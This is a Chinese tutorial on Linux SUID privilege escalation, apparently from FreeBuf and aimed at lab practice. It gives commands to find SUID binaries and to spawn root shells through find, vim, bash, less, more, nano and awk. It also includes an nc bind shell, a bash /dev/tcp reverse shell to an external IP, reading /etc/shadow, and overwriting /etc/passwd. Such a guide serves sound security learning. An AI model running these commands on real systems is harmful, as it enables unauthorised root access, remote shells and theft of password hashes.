SUID提权

介绍

SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.

在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.

利用此特性,我们可通过SUID进行提权

1
2
3
4
5
1. SUID权限只能设置二进制文件
2. 命令执行者要有二进制文件的执行权
3. 命令执行者执行二进制文件时会获得该程序的属主身份
4. SUID权限只在程序执行中有效
即如果root给一个程序赋予了SUID权限,则普通用户在执行该程序过程中,是root权限

设置SUID

1
2
chmod u+s filename   设置SUID位
chmod u-s filename 去掉SUID设置

常用的SUID提权命令

现在已知的具有SUID权限的二进制可执行文件大体有如下这些

1
2
3
4
5
6
7
8
9
nmap
vim
find
bash
more
less
nano
cp
awk

查找拥有SUID权限的程序

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

命令解释

1
2
3
4
5
6
7
8
9
10
/ :代表根目录,也就是说从根目录开始查找

-user :按文件属主类型查找

-perm:按文件权限来查找,4000,2000,1000为分别表示SUID,SGID,SBIT

-print:将匹配到的文件进行标准输出

2>/dev/null : 2代表标准错误输出(文件描述符的一种),>代表输出重定向,/dev/null是一个特殊的文件,输出到此文件的东西都会被丢弃,你为可以理解为垃圾桶

nmap提权

较旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。由于Nmap在使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。

现在nmap的版本都比较高,应该是很少了

交互模式可以通过执行Nmap参数" interactive "

1
nmap --interactive

以下命令将提供一个提升的shell

1
nmap> !sh

find提权

这个比较常用,在一些靶场的提权过程,都存在这个方法利用

如果find命令也是以suid权限运行的话,则将通过find执行的所有命令都会以root权限执行

如果你所查看的SUID权限里面没有find命令的话,可以采用以下命令,赋予其SUID权限

1
chmod u+s /usr/bin/find

查看是否find具有suid权限

1
find / -user root -perm -4000 -print 2>/dev/null

1
2
touch anyfile #必须要有这个文件
find anyfile -exec whoami \;

(虽然直接用的root权限,但是方法如此,只是做一个演示)

进入shell方法

1
2
#进入shell
find 1 -exec '/bin/sh' \;

linux一般都安装了nc 我们也可以利用nc 广播或反弹shell

广播shell:

1
find user -exec nc -lvp 4444 -e '/bin/sh' \;

在攻击机上:

1
nc 靶机ip 4444

反弹shell

1
find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;

在攻击机上:

1
nc -lvvp 4444

vim提权

Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。

1
vim.tiny /etc/shadow

通过vim进入shell

1
2
3
4
vim.tiny
#vim命令
:set shell = '/bin/sh'
:shell

bash提权

以下命令将以root权限打开一个bash shell。

1
2
3
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

less提权

less命令也可以进入shell

1
2
3
less /etc/passwd
#在less中输入:
!/bin/sh

more提权

more命令进入shell和less相同

1
2
3
more /etc/passwd
#在more中输入:
!/bin/sh

要注意的是使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell

nano提权

nano也算是比较上古的文本编辑器了

nano进入shell的方法为

1
2
3
4
nano #进入nano编辑器
Ctrl + R
Ctrl + X
#即可输入命令

cp提权

使用cp 命令覆盖原来的/etc/passwd文件

awk提权

awk命令进入shell:

1
awk 'BEGIN {system("/bin/bash")}

总结

靶场居多,实战偏少,多总结,多利用,多学习

简谈SUID提权 - FreeBuf网络安全行业门户